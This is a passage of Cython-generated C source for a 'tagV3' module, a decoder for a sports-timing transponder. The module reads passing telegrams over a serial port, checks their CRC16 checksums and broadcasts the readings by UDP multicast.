__pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "tagV3", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_kp_u_, __pyx_k_, sizeof(__pyx_k_), 0, 1, 0, 0}, {&__pyx_kp_u_3, __pyx_k_3, sizeof(__pyx_k_3), 0, 1, 0, 0}, {&__pyx_n_s_AF_INET, __pyx_k_AF_INET, sizeof(__pyx_k_AF_INET), 0, 0, 1, 1}, {&__pyx_n_u_Acknowledge, __pyx_k_Acknowledge, sizeof(__pyx_k_Acknowledge), 0, 1, 0, 1}, {&__pyx_kp_u_BXX_Level, __pyx_k_BXX_Level, sizeof(__pyx_k_BXX_Level), 0, 1, 0, 0}, {&__pyx_kp_u_CANO_MODE, __pyx_k_CANO_MODE, sizeof(__pyx_k_CANO_MODE), 0, 1, 0, 0}, {&__pyx_n_s_Crcc16Mcrf4xx, __pyx_k_Crcc16Mcrf4xx, sizeof(__pyx_k_Crcc16Mcrf4xx), 0, 0, 1, 1}, {&__pyx_kp_u_ERROR_Opening, __pyx_k_ERROR_Opening, sizeof(__pyx_k_ERROR_Opening), 0, 1, 0, 0}, {&__pyx_n_s_ESC, __pyx_k_ESC, sizeof(__pyx_k_ESC), 0, 0, 1, 1}, {&__pyx_kp_u_Get_Config, __pyx_k_Get_Config, sizeof(__pyx_k_Get_Config), 0, 1, 0, 0}, {&__pyx_kp_u_H_st, __pyx_k_H_st, sizeof(__pyx_k_H_st), 0, 1, 0, 0}, {&__pyx_n_s_IPPROTO_IP, __pyx_k_IPPROTO_IP, sizeof(__pyx_k_IPPROTO_IP), 0, 0, 1, 1}, {&__pyx_n_s_IP_MULTICAST_TTL, __pyx_k_IP_MULTICAST_TTL, sizeof(__pyx_k_IP_MULTICAST_TTL), 0, 0, 1, 1}, {&__pyx_kp_u_I_s, __pyx_k_I_s, sizeof(__pyx_k_I_s), 0, 1, 0, 0}, {&__pyx_kp_u_N, __pyx_k_N, sizeof(__pyx_k_N), 0, 1, 0, 0}, {&__pyx_n_u_Repeat, __pyx_k_Repeat, sizeof(__pyx_k_Repeat), 0, 1, 0, 1}, {&__pyx_n_s_SOCK_DGRAM, __pyx_k_SOCK_DGRAM, sizeof(__pyx_k_SOCK_DGRAM), 0, 0, 1, 1}, {&__pyx_kp_u_STA_006141_00_02_57_541_38_07_0, __pyx_k_STA_006141_00_02_57_541_38_07_0, sizeof(__pyx_k_STA_006141_00_02_57_541_38_07_0), 0, 1, 0, 0}, {&__pyx_n_s_Serial, __pyx_k_Serial, sizeof(__pyx_k_Serial), 0, 0, 1, 1}, {&__pyx_kp_u_Set_BOX_Level, __pyx_k_Set_BOX_Level, sizeof(__pyx_k_Set_BOX_Level), 0, 1, 0, 0}, {&__pyx_kp_u_Set_Config, __pyx_k_Set_Config, sizeof(__pyx_k_Set_Config), 0, 1, 0, 0}, {&__pyx_kp_u_Set_Date, __pyx_k_Set_Date, sizeof(__pyx_k_Set_Date), 0, 1, 0, 0}, {&__pyx_kp_u_Set_IP_Config, __pyx_k_Set_IP_Config, sizeof(__pyx_k_Set_IP_Config), 0, 1, 0, 0}, {&__pyx_kp_u_Set_STA_Level, __pyx_k_Set_STA_Level, sizeof(__pyx_k_Set_STA_Level), 0, 1, 0, 0}, {&__pyx_n_u_Start, __pyx_k_Start, sizeof(__pyx_k_Start), 0, 1, 0, 1}, {&__pyx_kp_u_Stat_BXX, __pyx_k_Stat_BXX, sizeof(__pyx_k_Stat_BXX), 0, 1, 0, 0}, {&__pyx_n_u_Status, __pyx_k_Status, sizeof(__pyx_k_Status), 0, 1, 0, 1}, {&__pyx_n_u_Stop, __pyx_k_Stop, sizeof(__pyx_k_Stop), 0, 1, 0, 1}, {&__pyx_n_s_Thread, __pyx_k_Thread, sizeof(__pyx_k_Thread), 0, 0, 1, 1}, {&__pyx_kp_u_VERSION, __pyx_k_VERSION, sizeof(__pyx_k_VERSION), 0, 1, 0, 0}, {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, {&__pyx_kp_u__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 1, 0, 0}, {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, {&__pyx_kp_u__32, __pyx_k__32, sizeof(__pyx_k__32), 0, 1, 0, 0}, {&__pyx_n_s_acknowledge, __pyx_k_acknowledge, sizeof(__pyx_k_acknowledge), 0, 0, 1, 1}, {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, {&__pyx_n_u_b, __pyx_k_b, sizeof(__pyx_k_b), 0, 1, 0, 1}, {&__pyx_n_s_bXXLevel, __pyx_k_bXXLevel, sizeof(__pyx_k_bXXLevel), 0, 0, 1, 1}, {&__pyx_n_s_baud, __pyx_k_baud, sizeof(__pyx_k_baud), 0, 0, 1, 1}, {&__pyx_n_u_baud, __pyx_k_baud, sizeof(__pyx_k_baud), 0, 1, 0, 1}, {&__pyx_n_s_btpower, __pyx_k_btpower, sizeof(__pyx_k_btpower), 0, 0, 1, 1}, {&__pyx_n_s_byte, __pyx_k_byte, sizeof(__pyx_k_byte), 0, 0, 1, 1}, {&__pyx_n_s_cfg, __pyx_k_cfg, sizeof(__pyx_k_cfg), 0, 0, 1, 1}, {&__pyx_n_s_checksum, __pyx_k_checksum, sizeof(__pyx_k_checksum), 0, 0, 1, 1}, {&__pyx_n_s_chr, __pyx_k_chr, sizeof(__pyx_k_chr), 0, 0, 1, 1}, {&__pyx_n_s_cmd, __pyx_k_cmd, sizeof(__pyx_k_cmd), 0, 0, 1, 1}, {&__pyx_n_s_command, __pyx_k_command, sizeof(__pyx_k_command), 0, 0, 1, 1}, {&__pyx_n_s_compute, __pyx_k_compute, sizeof(__pyx_k_compute), 0, 0, 1, 1}, {&__pyx_n_s_crc, __pyx_k_crc, sizeof(__pyx_k_crc), 0, 0, 1, 1}, {&__pyx_n_s_crc16, __pyx_k_crc16, sizeof(__pyx_k_crc16), 0, 0, 1, 1}, {&__pyx_n_s_crccheck_crc, __pyx_k_crccheck_crc, sizeof(__pyx_k_crccheck_crc), 0, 0, 1, 1}, {&__pyx_n_s_createThread, __pyx_k_createThread, sizeof(__pyx_k_createThread), 0, 0, 1, 1}, {&__pyx_n_s_d, __pyx_k_d, sizeof(__pyx_k_d), 0, 0, 1, 1}, {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, {&__pyx_n_s_decoder, __pyx_k_decoder, sizeof(__pyx_k_decoder), 0, 0, 1, 1}, {&__pyx_n_s_decoder_acknowledge, __pyx_k_decoder_acknowledge, sizeof(__pyx_k_decoder_acknowledge), 0, 0, 1, 1}, {&__pyx_n_s_decoder_bXXLevel, __pyx_k_decoder_bXXLevel, sizeof(__pyx_k_decoder_bXXLevel), 0, 0, 1, 1}, {&__pyx_n_s_decoder_createThread, __pyx_k_decoder_createThread, sizeof(__pyx_k_decoder_createThread), 0, 0, 1, 1}, {&__pyx_n_s_decoder_decoder, __pyx_k_decoder_decoder, sizeof(__pyx_k_decoder_decoder), 0, 0, 1, 1}, {&__pyx_n_s_decoder_getConfig, __pyx_k_decoder_getConfig, sizeof(__pyx_k_decoder_getConfig), 0, 0, 1, 1}, {&__pyx_n_s_decoder_getStatus, __pyx_k_decoder_getStatus, sizeof(__pyx_k_decoder_getStatus), 0, 0, 1, 1}, {&__pyx_n_s_decoder_receiveResponse, __pyx_k_decoder_receiveResponse, sizeof(__pyx_k_decoder_receiveResponse), 0, 0, 1, 1}, {&__pyx_n_s_decoder_repeat, __pyx_k_decoder_repeat, sizeof(__pyx_k_decoder_repeat), 0, 0, 1, 1}, {&__pyx_n_s_decoder_sendCmd, __pyx_k_decoder_sendCmd, sizeof(__pyx_k_decoder_sendCmd), 0, 0, 1, 1}, {&__pyx_n_s_decoder_setBOXLevel, __pyx_k_decoder_setBOXLevel, sizeof(__pyx_k_decoder_setBOXLevel), 0, 0, 1, 1}, {&__pyx_n_s_decoder_setConfig, __pyx_k_decoder_setConfig, sizeof(__pyx_k_decoder_setConfig), 0, 0, 1, 1}, {&__pyx_n_s_decoder_setDate, __pyx_k_decoder_setDate, sizeof(__pyx_k_decoder_setDate), 0, 0, 1, 1}, {&__pyx_n_s_decoder_setIPConfig, __pyx_k_decoder_setIPConfig, sizeof(__pyx_k_decoder_setIPConfig), 0, 0, 1, 1}, {&__pyx_n_s_decoder_setSTALevel, __pyx_k_decoder_setSTALevel, sizeof(__pyx_k_decoder_setSTALevel), 0, 0, 1, 1}, {&__pyx_n_s_decoder_setTime, __pyx_k_decoder_setTime, sizeof(__pyx_k_decoder_setTime), 0, 0, 1, 1}, {&__pyx_n_s_decoder_start, __pyx_k_decoder_start, sizeof(__pyx_k_decoder_start), 0, 0, 1, 1}, {&__pyx_n_s_decoder_statBXX, __pyx_k_decoder_statBXX, sizeof(__pyx_k_decoder_statBXX), 0, 0, 1, 1}, {&__pyx_n_s_decoder_stop, __pyx_k_decoder_stop, sizeof(__pyx_k_decoder_stop), 0, 0, 1, 1}, {&__pyx_n_s_device, __pyx_k_device, sizeof(__pyx_k_device), 0, 0, 1, 1}, {&__pyx_n_u_device, __pyx_k_device, sizeof(__pyx_k_device), 0, 1, 0, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, {&__pyx_n_s_encode, __pyx_k_encode, sizeof(__pyx_k_encode), 0, 0, 1, 1}, {&__pyx_kp_u_exception_on_send_multicast, __pyx_k_exception_on_send_multicast, sizeof(__pyx_k_exception_on_send_multicast), 0, 1, 0, 0}, {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, {&__pyx_n_s_getConfig, __pyx_k_getConfig, sizeof(__pyx_k_getConfig), 0, 0, 1, 1}, {&__pyx_n_s_getStatus, __pyx_k_getStatus, sizeof(__pyx_k_getStatus), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_hours, __pyx_k_hours, sizeof(__pyx_k_hours), 0, 0, 1, 1}, {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_init, __pyx_k_init, sizeof(__pyx_k_init), 0, 0, 1, 1}, {&__pyx_n_s_ip, __pyx_k_ip, sizeof(__pyx_k_ip), 0, 0, 1, 1}, {&__pyx_n_s_is_open, __pyx_k_is_open, sizeof(__pyx_k_is_open), 0, 0, 1, 1}, {&__pyx_n_s_line, __pyx_k_line, sizeof(__pyx_k_line), 0, 0, 1, 1}, {&__pyx_n_s_loop_ID, __pyx_k_loop_ID, sizeof(__pyx_k_loop_ID), 0, 0, 1, 1}, {&__pyx_n_s_loopcout, __pyx_k_loopcout, sizeof(__pyx_k_loopcout), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_millis, __pyx_k_millis, sizeof(__pyx_k_millis), 0, 0, 1, 1}, {&__pyx_n_s_minutes, __pyx_k_minutes, sizeof(__pyx_k_minutes), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_u_multi_ip, __pyx_k_multi_ip, sizeof(__pyx_k_multi_ip), 0, 1, 0, 1}, {&__pyx_n_s_multicast_group, __pyx_k_multicast_group, sizeof(__pyx_k_multicast_group), 0, 0, 1, 1}, {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, {&__pyx_n_s_p, __pyx_k_p, sizeof(__pyx_k_p), 0, 0, 1, 1}, {&__pyx_n_s_pack, __pyx_k_pack, sizeof(__pyx_k_pack), 0, 0, 1, 1}, {&__pyx_n_s_passing, __pyx_k_passing, sizeof(__pyx_k_passing), 0, 0, 1, 1}, {&__pyx_n_s_passing___init, __pyx_k_passing___init, sizeof(__pyx_k_passing___init), 0, 0, 1, 1}, {&__pyx_n_s_port, __pyx_k_port, sizeof(__pyx_k_port), 0, 0, 1, 1}, {&__pyx_n_u_port, __pyx_k_port, sizeof(__pyx_k_port), 0, 1, 0, 1}, {&__pyx_n_s_power, __pyx_k_power, sizeof(__pyx_k_power), 0, 0, 1, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, {&__pyx_n_s_readline, __pyx_k_readline, sizeof(__pyx_k_readline), 0, 0, 1, 1}, {&__pyx_n_s_receiveResponse, __pyx_k_receiveResponse, sizeof(__pyx_k_receiveResponse), 0, 0, 1, 1}, {&__pyx_n_s_repeat, __pyx_k_repeat, sizeof(__pyx_k_repeat), 0, 0, 1, 1}, {&__pyx_kp_u_s, __pyx_k_s, sizeof(__pyx_k_s), 0, 1, 0, 0}, {&__pyx_kp_u_s_2, __pyx_k_s_2, sizeof(__pyx_k_s_2), 0, 1, 0, 0}, {&__pyx_kp_u_s_s, __pyx_k_s_s, sizeof(__pyx_k_s_s), 0, 1, 0, 0}, {&__pyx_kp_u_s_s_2, __pyx_k_s_s_2, sizeof(__pyx_k_s_s_2), 0, 1, 0, 0}, {&__pyx_kp_u_s_s_3, __pyx_k_s_s_3, sizeof(__pyx_k_s_s_3), 0, 1, 0, 0}, {&__pyx_n_s_seconds, __pyx_k_seconds, sizeof(__pyx_k_seconds), 0, 0, 1, 1}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_sendCmd, __pyx_k_sendCmd, sizeof(__pyx_k_sendCmd), 0, 0, 1, 1}, {&__pyx_n_s_sendto, __pyx_k_sendto, sizeof(__pyx_k_sendto), 0, 0, 1, 1}, {&__pyx_n_s_serial, __pyx_k_serial, sizeof(__pyx_k_serial), 0, 0, 1, 1}, {&__pyx_n_s_setBOXLevel, __pyx_k_setBOXLevel, sizeof(__pyx_k_setBOXLevel), 0, 0, 1, 1}, {&__pyx_n_s_setConfig, __pyx_k_setConfig, sizeof(__pyx_k_setConfig), 0, 0, 1, 1}, {&__pyx_n_s_setDate, __pyx_k_setDate, sizeof(__pyx_k_setDate), 0, 0, 1, 1}, {&__pyx_n_s_setIPConfig, __pyx_k_setIPConfig, sizeof(__pyx_k_setIPConfig), 0, 0, 1, 1}, {&__pyx_n_s_setSTALevel, __pyx_k_setSTALevel, sizeof(__pyx_k_setSTALevel), 0, 0, 1, 1}, {&__pyx_n_s_setTime, __pyx_k_setTime, sizeof(__pyx_k_setTime), 0, 0, 1, 1}, {&__pyx_n_s_setsockopt, __pyx_k_setsockopt, sizeof(__pyx_k_setsockopt), 0, 0, 1, 1}, {&__pyx_n_s_settimeout, __pyx_k_settimeout, sizeof(__pyx_k_settimeout), 0, 0, 1, 1}, {&__pyx_n_s_sock, __pyx_k_sock, sizeof(__pyx_k_sock), 0, 0, 1, 1}, {&__pyx_n_s_socket, __pyx_k_socket, sizeof(__pyx_k_socket), 0, 0, 1, 1}, {&__pyx_n_s_start, __pyx_k_start, sizeof(__pyx_k_start), 0, 0, 1, 1}, {&__pyx_n_s_statBXX, __pyx_k_statBXX, sizeof(__pyx_k_statBXX), 0, 0, 1, 1}, {&__pyx_n_s_stop, __pyx_k_stop, sizeof(__pyx_k_stop), 0, 0, 1, 1}, {&__pyx_n_s_struct, __pyx_k_struct, sizeof(__pyx_k_struct), 0, 0, 1, 1}, {&__pyx_n_s_tagV3, __pyx_k_tagV3, sizeof(__pyx_k_tagV3), 0, 0, 1, 1}, {&__pyx_n_s_target, __pyx_k_target, sizeof(__pyx_k_target), 0, 0, 1, 1}, {&__pyx_n_s_task, __pyx_k_task, sizeof(__pyx_k_task), 0, 0, 1, 1}, {&__pyx_n_s_telegram, __pyx_k_telegram, sizeof(__pyx_k_telegram), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_test_passing, __pyx_k_test_passing, sizeof(__pyx_k_test_passing), 0, 0, 1, 1}, {&__pyx_n_s_theSer, __pyx_k_theSer, sizeof(__pyx_k_theSer), 0, 0, 1, 1}, {&__pyx_n_s_threading, __pyx_k_threading, sizeof(__pyx_k_threading), 0, 0, 1, 1}, {&__pyx_n_s_timeout, __pyx_k_timeout, sizeof(__pyx_k_timeout), 0, 0, 1, 1}, {&__pyx_n_s_tp, __pyx_k_tp, sizeof(__pyx_k_tp), 0, 0, 1, 1}, {&__pyx_n_s_ttl, __pyx_k_ttl, sizeof(__pyx_k_ttl), 0, 0, 1, 1}, {&__pyx_n_s_valid, __pyx_k_valid, sizeof(__pyx_k_valid), 0, 0, 1, 1}, {&__pyx_n_s_write, __pyx_k_write, sizeof(__pyx_k_write), 0, 0, 1, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_chr = __Pyx_GetBuiltinName(__pyx_n_s_chr); if (!__pyx_builtin_chr) __PYX_ERR(0, 224, __pyx_L1_error) __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 326, __pyx_L1_error) __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 335, __pyx_L1_error) __pyx_builtin_exit = __Pyx_GetBuiltinName(__pyx_n_s_exit); if (!__pyx_builtin_exit) __PYX_ERR(0, 355, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "tagV3.py":313 * self.telegram = data * try: * if data[0:1] == '<': # <<<<<<<<<<<<<< * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) */ __pyx_slice__2 = PySlice_New(__pyx_int_0, __pyx_int_1, Py_None); if (unlikely(!__pyx_slice__2)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__2); __Pyx_GIVEREF(__pyx_slice__2); /* "tagV3.py":314 * try: * if data[0:1] == '<': * self.loop_ID = data[1:4] # <<<<<<<<<<<<<< * self.tp = int( data[5:11] ) * self.hours = int( data[12:14] ) */ __pyx_slice__4 = PySlice_New(__pyx_int_1, __pyx_int_4, Py_None); if (unlikely(!__pyx_slice__4)) __PYX_ERR(0, 314, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__4); __Pyx_GIVEREF(__pyx_slice__4); /* "tagV3.py":315 * if data[0:1] == '<': * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) # <<<<<<<<<<<<<< * self.hours = int( data[12:14] ) * self.minutes = int( data[15:17] ) */ __pyx_slice__5 = PySlice_New(__pyx_int_5, __pyx_int_11, Py_None); if (unlikely(!__pyx_slice__5)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__5); __Pyx_GIVEREF(__pyx_slice__5); /* "tagV3.py":316 * self.loop_ID = data[1:4] * self.tp = int( data[5:11] ) * self.hours = int( data[12:14] ) # <<<<<<<<<<<<<< * self.minutes = int( data[15:17] ) * self.seconds = int( data[18:20] ) */ __pyx_slice__6 = PySlice_New(__pyx_int_12, __pyx_int_14, Py_None); if (unlikely(!__pyx_slice__6)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__6); __Pyx_GIVEREF(__pyx_slice__6); /* "tagV3.py":317 * self.tp = int( data[5:11] ) * self.hours = int( data[12:14] ) * self.minutes = int( data[15:17] ) # <<<<<<<<<<<<<< * self.seconds = int( data[18:20] ) * self.millis = int( data[21:24] ) */ __pyx_slice__7 = PySlice_New(__pyx_int_15, __pyx_int_17, Py_None); if (unlikely(!__pyx_slice__7)) __PYX_ERR(0, 317, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__7); __Pyx_GIVEREF(__pyx_slice__7); /* "tagV3.py":318 * self.hours = int( data[12:14] ) * self.minutes = int( data[15:17] ) * self.seconds = int( data[18:20] ) # <<<<<<<<<<<<<< * self.millis = int( data[21:24] ) * self.power = int( data[25:27] ) */ __pyx_slice__8 = PySlice_New(__pyx_int_18, __pyx_int_20, Py_None); if (unlikely(!__pyx_slice__8)) __PYX_ERR(0, 318, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__8); __Pyx_GIVEREF(__pyx_slice__8); /* "tagV3.py":319 * self.minutes = int( data[15:17] ) * self.seconds = int( data[18:20] ) * self.millis = int( data[21:24] ) # <<<<<<<<<<<<<< * self.power = int( data[25:27] ) * self.loopcout = int( data[28:30] ) */ __pyx_slice__9 = PySlice_New(__pyx_int_21, __pyx_int_24, Py_None); if (unlikely(!__pyx_slice__9)) __PYX_ERR(0, 319, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__9); __Pyx_GIVEREF(__pyx_slice__9); /* "tagV3.py":320 * self.seconds = int( data[18:20] ) * self.millis = int( data[21:24] ) * self.power = int( data[25:27] ) # <<<<<<<<<<<<<< * self.loopcout = int( data[28:30] ) * self.btpower = int( data[31:32] ) */ __pyx_slice__10 = PySlice_New(__pyx_int_25, __pyx_int_27, Py_None); if (unlikely(!__pyx_slice__10)) __PYX_ERR(0, 320, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__10); __Pyx_GIVEREF(__pyx_slice__10); /* "tagV3.py":321 * self.millis = int( data[21:24] ) * self.power = int( data[25:27] ) * self.loopcout = int( data[28:30] ) # <<<<<<<<<<<<<< * self.btpower = int( data[31:32] ) * self.checksum = int( data[33:37] ) */ __pyx_slice__11 = PySlice_New(__pyx_int_28, __pyx_int_30, Py_None); if (unlikely(!__pyx_slice__11)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__11); __Pyx_GIVEREF(__pyx_slice__11); /* "tagV3.py":322 * self.power = int( data[25:27] ) * self.loopcout = int( data[28:30] ) * self.btpower = int( data[31:32] ) # <<<<<<<<<<<<<< * self.checksum = int( data[33:37] ) * byte = bytearray( data[1:33].encode() ) */ __pyx_slice__12 = PySlice_New(__pyx_int_31, __pyx_int_32, Py_None); if (unlikely(!__pyx_slice__12)) __PYX_ERR(0, 322, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__12); __Pyx_GIVEREF(__pyx_slice__12); /* "tagV3.py":323 * self.loopcout = int( data[28:30] ) * self.btpower = int( data[31:32] ) * self.checksum = int( data[33:37] ) # <<<<<<<<<<<<<< * byte = bytearray( data[1:33].encode() ) * compute = 0 */ __pyx_slice__13 = PySlice_New(__pyx_int_33, __pyx_int_37, Py_None); if (unlikely(!__pyx_slice__13)) __PYX_ERR(0, 323, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__13); __Pyx_GIVEREF(__pyx_slice__13); /* "tagV3.py":324 * self.btpower = int( data[31:32] ) * self.checksum = int( data[33:37] ) * byte = bytearray( data[1:33].encode() ) # <<<<<<<<<<<<<< * compute = 0 * for i in range(0,32): */ __pyx_slice__14 = PySlice_New(__pyx_int_1, __pyx_int_33, Py_None); if (unlikely(!__pyx_slice__14)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__14); __Pyx_GIVEREF(__pyx_slice__14); /* "tagV3.py":352 * theSer = serial.Serial( device, baud) * if not theSer.is_open: * print( "ERROR Opening: ") # <<<<<<<<<<<<<< * print( device) * print("\n") */ __pyx_tuple__15 = PyTuple_Pack(1, __pyx_kp_u_ERROR_Opening); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 352, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__15); __Pyx_GIVEREF(__pyx_tuple__15); /* "tagV3.py":354 * print( "ERROR Opening: ") * print( device) * print("\n") # <<<<<<<<<<<<<< * exit( -2) * */ __pyx_tuple__17 = PyTuple_Pack(1, __pyx_kp_u__16); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__17); __Pyx_GIVEREF(__pyx_tuple__17); /* "tagV3.py":355 * print( device) * print("\n") * exit( -2) # <<<<<<<<<<<<<< * * multicast_group = (ip,port) */ __pyx_tuple__18 = PyTuple_Pack(1, __pyx_int_neg_2); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); /* "tagV3.py":360 * * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) # <<<<<<<<<<<<<< * * ttl = struct.pack('b', 10) */ __pyx_tuple__19 = PyTuple_Pack(1, __pyx_float_0_1); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); /* "tagV3.py":362 * sock.settimeout(0.1) * * ttl = struct.pack('b', 10) # <<<<<<<<<<<<<< * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * theSer.write('VERSION\r\n'.encode()) */ __pyx_tuple__20 = PyTuple_Pack(2, __pyx_n_u_b, __pyx_int_10); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); /* "tagV3.py":370 * line = theSer.readline() * if len(line)==(16): * tp = int( line[0:5] , 16 ) # <<<<<<<<<<<<<< * millis = int( line[6:] , 16 ) * try: */ __pyx_slice__21 = PySlice_New(__pyx_int_0, __pyx_int_5, Py_None); if (unlikely(!__pyx_slice__21)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__21); __Pyx_GIVEREF(__pyx_slice__21); /* "tagV3.py":371 * if len(line)==(16): * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) # <<<<<<<<<<<<<< * try: * message = str(tp) +" " + str( millis ) */ __pyx_slice__22 = PySlice_New(__pyx_int_6, Py_None, Py_None); if (unlikely(!__pyx_slice__22)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_slice__22); __Pyx_GIVEREF(__pyx_slice__22); /* "tagV3.py":376 * sock.sendto(message.encode(), multicast_group) * except socket.timeout: * print("exception on send multicast") # <<<<<<<<<<<<<< * finally: * message="" */ __pyx_tuple__24 = PyTuple_Pack(1, __pyx_kp_u_exception_on_send_multicast); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); /* "tagV3.py":382 * print( line ) * print( len( line )) * print( "\n") # <<<<<<<<<<<<<< * exit(0) * */ __pyx_tuple__25 = PyTuple_Pack(1, __pyx_kp_u__16); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 382, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); /* "tagV3.py":383 * print( len( line )) * print( "\n") * exit(0) # <<<<<<<<<<<<<< * * # Command Definition */ __pyx_tuple__26 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 383, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__26); __Pyx_GIVEREF(__pyx_tuple__26); /* "tagV3.py":224 * * # Command Definition * ESC = chr( 27 ) # escape character # <<<<<<<<<<<<<< * cmd = {} * # Get Status: */ __pyx_tuple__27 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); /* "tagV3.py":310 * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" * class passing(): * def __init__(self, data = ""): # <<<<<<<<<<<<<< * self.telegram = data * try: */ __pyx_tuple__33 = PyTuple_Pack(6, __pyx_n_s_self, __pyx_n_s_data, 